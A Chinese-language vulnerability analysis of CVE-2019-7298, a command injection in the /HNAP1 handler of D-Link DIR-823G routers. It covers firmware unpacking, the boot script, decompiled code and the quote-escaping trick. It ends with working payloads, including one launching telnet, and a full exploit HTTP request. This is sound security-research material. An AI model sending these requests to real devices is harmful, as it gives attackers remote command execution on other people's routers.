CVE-2019-7298
漏洞描述
An issue was discovered on D-Link DIR-823G devices with firmware through 1.02B03. A command Injection vulnerability allows attackers to execute arbitrary OS commands via a crafted /HNAP1 request. This occurs when any HNAP API function triggers a call to the system function with untrusted input from the request body, such as a body of ' /bin/telnetd' for the GetDeviceSettingsset API function. Consequently, an attacker can execute any command remotely when they control this input.
在固件版本为 1.02B03 的 D-Link DIR-823G 设备上发现了一个命令注入漏洞,该漏洞允许攻击者通过精心设计的 /HNAP1 请求执行任意操作系统命令。在 HNAP API 函数处理请求之前,system
函数执行了不可信的命令,触发该漏洞
影响版本
- D-Link DIR-823G Firmware version: 1.02B03
漏洞分析
Binwalk 解包固件:
binwalk -Me DIR823GA1_FW102B03.bin
这里首先分析 rcS 文件,在 rcS 文件中,先会执行一列 mount
、mkdir
、cp
和 echo
操作:
#!/bin/sh
ifconfig lo 127.0.0.1
CINIT=1
hostname rlx-linux
mount -t proc proc /proc
mount -t ramfs ramfs /var
if [ -d "/hw_setting" ];then
mount -t yaffs2 -o tags-ecc-off -o inband-tags /dev/mtdblock1 /hw_setting
fi
mkdir /var/tmp
mkdir /var/web
mkdir /var/log
mkdir /var/run
mkdir /var/lock
mkdir /var/system
mkdir /var/dnrd
mkdir /var/avahi
mkdir /var/dbus-1
mkdir /var/run/dbus
mkdir /var/lib
mkdir /var/lib/misc
mkdir /var/home
mkdir /var/root
mkdir /var/tmp/net
###for tr069
mkdir /var/cwmp_default
mkdir /var/cwmp_config
if [ ! -f /var/cwmp_default/DefaultCwmpNotify.txt ]; then
cp -p /etc/DefaultCwmpNotify.txt /var/cwmp_default/DefaultCwmpNotify.txt 2>/dev/null
fi
##For miniigd
mkdir /var/linuxigd
cp /etc/tmp/pics* /var/linuxigd 2>/dev/null
##For pptp
mkdir /var/ppp
mkdir /var/ppp/peers
#smbd
mkdir /var/config
mkdir /var/private
mkdir /var/tmp/usb
#snmpd
mkdir /var/net-snmp
cp /bin/pppoe.sh /var/ppp/true
echo "#!/bin/sh" > /var/ppp/true
#echo "PASS" >> /var/ppp/true
#for console login
cp /etc/shadow.sample /var/shadow
#for weave
cp /etc/avahi-daemon.conf /var/avahi
#extact web pages
cd /web
#flash extr /web
cd /
mkdir -p /var/udhcpc
mkdir -p /var/udhcpd
cp /bin/init.sh /var/udhcpc/eth0.deconfig
echo " " > /var/udhcpc/eth0.deconfig
cp /bin/init.sh /var/udhcpc/eth1.deconfig
echo " " > /var/udhcpc/eth1.deconfig
cp /bin/init.sh /var/udhcpc/br0.deconfig
echo " " > /var/udhcpc/br0.deconfig
cp /bin/init.sh /var/udhcpc/wlan0.deconfig
echo " " > /var/udhcpc/wlan0.deconfig
if [ "$CINIT" = 1 ]; then
startup.sh
fi
# for wapi certs related
mkdir /var/myca
# wapi cert(must done before init.sh)
cp -rf /usr/local/ssl/* /var/myca/ 2>/dev/null
# loadWapiFiles >/dev/null 2>&1
# for wireless client mode 802.1x
mkdir /var/1x
cp -rf /usr/1x/* /var/1x/ 2>/dev/null
mkdir /var/openvpn
cp -rf /usr/share/openvpn/* /var/openvpn 2>/dev/null
# Start system script
init.sh gw all
# modify dst-cache setting
echo "24576" > /proc/sys/net/ipv4/route/max_size
echo "180" > /proc/sys/net/ipv4/route/gc_thresh
echo 20 > /proc/sys/net/ipv4/route/gc_elasticity
# echo 35 > /proc/sys/net/ipv4/route/gc_interval
# echo 60 > /proc/sys/net/ipv4/route/secret_interval
# echo 10 > /proc/sys/net/ipv4/route/gc_timeout
# echo "4096" > /proc/sys/net/nf_conntrack_max
echo "12288" > /proc/sys/net/netfilter/nf_conntrack_max
echo "600" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established
echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_time_wait
echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_close
echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout
echo "120" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout_stream
echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_generic_timeout
# echo "1048576" > /proc/sys/net/ipv4/rt_cache_rebuild_count
echo "32" > /proc/sys/net/netfilter/nf_conntrack_expect_max
# modify IRQ Affinity setting
echo "3" > /proc/irq/33/smp_affinity
#echo 1 > /proc/sys/net/ipv4/ip_forward #don't enable ip_forward before set MASQUERADE
#echo 2048 > /proc/sys/net/core/hot_list_length
# start web server
ls /bin/watchdog > /dev/null && watchdog 1000&
#boa
goahead &
#Turn off the power led of orange
echo "29" > /sys/class/gpio/export
echo "out" > /sys/class/gpio/gpio29/direction
echo "1" > /sys/class/gpio/gpio29/value
#Turn on the power led of green
echo "30" > /sys/class/gpio/export
echo "out" > /sys/class/gpio/gpio30/direction
echo "0" > /sys/class/gpio/gpio30/value
cp /etc/passwd_orig /var/passwd
cp /etc/group_orig /var/group
MODE=`flash get HW_FACTORY_MODE`
if [ "$MODE" = "HW_FACTORY_MODE=1" ];then
telnetd&
fi
speedcheck&
需要注意它在中途执行了 goahead
命令,并置于后台。这里解释一下 GoAhead:
GoAhead 是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式 Web Server
其中 goahead 的 websUrlHandlerDefine()
函数允许用户自定义不同 URL 的处理函数:
websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
这里就表示:
- /HNAP1 交给
websHNAPHandler()
函数处理 - /goform 交给
websFormHandler()
函数处理 - /cgi-bin 交给
websCgiHandler()
函数处理
这些处理函数有统一的参数:
int (*fn)(webs_t wp, char_t *url, char_t *path, char_t *query)
wp Web server connection handle.
url Request URL.
path Request path portion of the URL.
query Query string portion of the URL.
既然知道漏洞点出现在 /HNAP1
中,就可以用 IDA 打开 /bin/goahead 文件,并查找字符串 /HNAP1
。通过跟踪审计伪代码可知下图红框处伪代码即为上述用户自定义的不同 URL 的处理函数:
即 sub_40B1F4()
函数对应 websUrlHandlerDefine()
函数,sub_42383C()
函数对应 websHNAPHandler()
函数,所以这里分析 sub_42383C()
函数,该函数代码如下:
int __fastcall sub_42383C(int a1, int a2, int a3, int a4, int a5, int a6, const char *a7)
{
int v8; // [sp+34h] [+34h]
int v9; // [sp+38h] [+38h]
int v10; // [sp+40h] [+40h]
int v11[1277]; // [sp+4Ch] [+4Ch] BYREF
v10 = 0;
strcpy(
v11,
"HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: private\r\n\r\n");
v9 = 0;
v11[26] = 0;
dword_58E080 = a1;
v8 = malloc(10240);
if ( v8 )
{
memset(v8, 0, 10240);
v9 = malloc(51200);
if ( v9 )
{
memset(v9, 0, 51200);
if ( *(a1 + 1316) )
{
apmib_get(7011, &v11[26]);
for ( dword_58E084 = &off_58C560; *dword_58E084; dword_58E084 += 8 )
{
if ( strstr(*(a1 + 1316), *dword_58E084) )
{
memset(&v11[27], 0, 5000);
snprintf(&v11[27], 4999, "echo '%s' >/var/hnaplog", a7);
system(&v11[27]);
printf("wp->hnapfunc===========>%s\n", *(a1 + 1316));
if ( !strncmp(*dword_58E084, "GetLocalMac", 11) )
{
memset(&qword_58E060, 0, 32);
strncpy(&qword_58E060, a1 + 48, 32);
}
if ( (*(dword_58E084 + 4))(a7) )
break;
}
}
}
else
{
sub_432D28(a7);
}
}
else
{
printf("websHNAPFuncHandler: not enough memory (1)\n!");
v10 = -1;
}
}
else
{
printf("websHNAPFuncHandler: not enough memory (0)\n!");
v10 = -1;
}
free(v8);
free(v9);
return v10;
}
可以发现 sub_4238c
主要通过遍历全局的函数表 off_58C560
来处理 HNAP1 接受的不同请求:
其中 off_58C560
中每个元素的前四个字节为函数名,后四个字节为对应的函数地址。当找到了需要调用的处理函数后,就会向 /var/hnaplog 中记录 a7
的值,hackedbylh 指出是 POST 的报文,Ta 是通过在运行过程中查看文件 /var/hnaplog 从而猜测出来的,如图所示:
可以发现我们传入的 SOAP 协议消息被写入到了 /var/hnaplog 文件中,所以这个 a7
就是 POST 保温,继续分析伪代码,可以知道这里记录日志采取的方式是首先用 snprintf
生成命令, 然后直接使用 system
执行。需要注意的是,POST 的数据要加上引号,因为 echo '%s' > /var/hnaplog
中本身带了单引号,如果构造的 Payload 为:
`/bin/telnet`
那么传递过去就变成了:
echo '`/bin/telnet`' > /var/hnaplog
由于命令由引号括起,该 Payload 会当做字符串处理,不会执行命令。所以需要构造这样的 Payload:
'`/bin/telnet`'
此时传递过去就变成了:
echo ''`/bin/telnet`'' > /var/hnaplog
可以看到闭合了两个引号
漏洞利用
Payload:
'`echo hacked > /web_mtn/hacker.txt`'
完整请求数据包参考如下:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
'`echo hacked > /web_mtn/hacker.txt`'
这里构造数据包如图所示:
来到 /tmp/ 目录下看看文件是否创建成功:
可以看到文件被创建成功
一些问题
漏洞利用时为什么要加上:
SOAPAction: "http://purenetworks.com/HNAP1/Login"
官方解释 SOAPAction:
The SOAPAction header is a transport protocol header (either HTTP or JMS). It is transmitted with SOAP messages, and provides information about the intention of the web service request, to the service. The WSDL interface for a web service defines the SOAPAction header value used for each operation. Some web service implementations use the SOAPAction header to determine behavior.
If a SOAPAction header is set in the inbound SOAP request (through a web service export), its value is placed in the /headers/SMOHeader/Action field of the Service Message Object (SMO). Otherwise, the value in /headers/SMOHeader/Action is not set.
翻译一下:
SOAPAction 标头是传输协议标头(HTTP 或 JMS)。 它与 SOAP 消息一起传输,并向服务提供有关 Web 服务请求意图的信息。 Web 服务的 WSDL 接口定义了用于每个操作的 SOAPAction 标头值。 某些 Web 服务实现使用 SOAPAction 标头来确定行为。
如果在入站 SOAP 请求中设置了 SOAPAction 标头(通过 Web 服务导出),则其值将放置在服务消息对象 (SMO) 的 /headers/SMOHeader/Action 字段中。 否则,不会设置 /headers/SMOHeader/Action 中的值。
根据 这篇文章,SOAPAction
是必须被添加的,根据下图:
可以猜测 (a1 + 1316)
实际就为 SOAPAction
的值。经过测试之后发现,其实只要 off_58C560
中有某一个函数在 SOAPAction
中即可,就像下图这样: